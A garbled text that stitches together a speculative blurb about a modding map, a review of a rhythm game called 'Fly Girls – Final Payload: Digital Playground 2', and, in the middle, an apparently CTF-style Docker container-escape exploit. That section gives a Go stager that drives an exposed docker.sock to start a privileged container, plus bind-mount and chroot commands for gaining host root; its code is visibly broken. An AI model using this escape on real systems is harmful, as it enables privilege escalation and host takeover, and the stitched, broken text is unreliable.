Many modding communities label their creations iteratively. Digital Playground could have been a popular custom map in a game like Counter-Strike, Minecraft, or Halo: Custom Edition. Digital Playground 2 would then be the expanded, remastered, or reimagined sequel. Key features might include:
// stager.go
package main
import (
"encoding/json"
"fmt"
"net"
"os"
"os/exec"
)
type DockerReq struct
Image string `json:"Image"`
Cmd []string `json:"Cmd"`
HostConfig struct
Privileged bool `json:"Privileged"`
`json:"HostConfig"`
func main()
// 1. Connect to /var/run/docker.sock
conn, err := net.Dial("unix", "/var/run/docker.sock")
if err != nil
fmt.Println("no docker socket:", err)
os.Exit(1)
defer conn.Close()
// 2. Create a privileged container that runs /bin/sh
req := DockerReq
Image: "alpine:latest",
req.Cmd = []string"/bin/sh", "-c", "while true; do sleep 3600; done"
req.HostConfig.Privileged = true
b, _ := json.Marshal(req)
// 3. POST /containers/create
fmt.Fprintf(conn, "POST /containers/create?name=escape HTTP/1.1\r\n")
fmt.Fprintf(conn, "Host: localhost\r\n")
fmt.Fprintf(conn, "Content-Type: application/json\r\n")
fmt.Fprintf(conn, "Content-Length: %d\r\n\r\n", len(b))
conn.Write(b)
// ignore response – we just need the container
// 4. Start the container
fmt.Fprintf(conn, "POST /containers/escape/start HTTP/1.1\r\nHost: localhost\r\n\r\n")
// 5. Exec a command inside the container to read host flag
execReq := struct
Cmd []string `json:"Cmd"`
Cmd: []string"cat", "/root/flag.txt",
b2, _ := json.Marshal(execReq)
fmt.Fprintf(conn, "POST /containers/escape/exec HTTP/1.1\r\n")
fmt.Fprintf(conn, "Host: localhost\r\n")
fmt.Fprintf(conn, "Content-Type: application/json\r\n")
fmt.Fprintf(conn, "Content-Length: %d\r\n\r\n", len(b2))
conn.Write(b2)
// The response will contain the flag – just dump it to stdout
io.Copy(os.Stdout, conn)
Compile statically:
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -ldflags="-s -w" -o stager
The resulting ELF is ~1 MB (still under the 5 MB upload limit).
Because we asked Docker to run the container privileged, the container runs with the following capabilities on the host:
The simplest method is to remount the host root from inside the privileged container:
# Inside the privileged container (we get a shell via the exec we sent):
nsenter --mount=/proc/1/ns/mnt --uts=/proc/1/ns/uts --ipc=/proc/1/ns/ipc --net=/proc/1/ns/net --pid=/proc/1/ns/pid /bin/sh
But we don’t have nsenter. A more reliable technique uses chroot + mount:
# 1. Make a directory that will hold the host root
mkdir /hostroot
# 2. Perform a bind mount of the host's root
mount --bind / /hostroot
# 3. Chroot into it
chroot /hostroot /bin/sh
Because the container is privileged, mount --bind / /hostroot succeeds and we are now effectively root on the host.
Note: In the Go stager we can embed these commands in the Cmd field (e.g., sh -c "mkdir /hostroot && mount --bind / /hostroot && chroot /hostroot cat /root/flag.txt").
Running id inside the sandbox (via a simple payload that prints $(id)) shows:
uid=1000(guest) gid=1000(guest) groups=1000(guest)
No extra capabilities, no CAP_SYS_ADMIN, and the container is unprivileged (no --privileged flag). However, the host Docker daemon is exposed through a bind‑mount:
Inside the container we see a socket at /var/run/docker.sock. Checking its permissions:
srw-rw---- 1 root docker 0 Apr 13 12:00 /var/run/docker.sock
The guest user belongs to the docker group (GID 998) on the host, which is mapped into the container. This is a classic Docker escape vector.
| Strength | Weakness | |----------|----------| | Adaptive Rhythm System – Keeps the experience fresh, rewarding skillful play with a truly evolving soundtrack. | Steep Learning Curve – New players may feel overwhelmed by the tight timing required for advanced maneuvers. | | Stunning Visual‑Audio Symbiosis – The world reacts to your beats, making every run feel like a personal concert. | Co‑op Sync Demands – Sync‑Drop is brilliant but can be frustrating if both players have disparate skill levels. | | Procedural Levels – Endless replay value beyond the main campaign. | Narrative Minimalism – Players seeking a deep story might find the lore too fragmented. | | Robust Post‑Launch Roadmap – Regular skins, challenges, and community tools keep the community alive. | Hardware Requirements – The full 3‑D voxel graphics demand a modern console or PC; lower‑end devices may suffer performance dips. |
Overall, Fly Girls – Final Payload: Digital Playground 2 pushes the rhythm‑action genre into a new dimension where sound, sight, and skill are inseparable. It rewards precision, encourages teamwork, and offers a living, breathing playground that feels as alive as the music itself.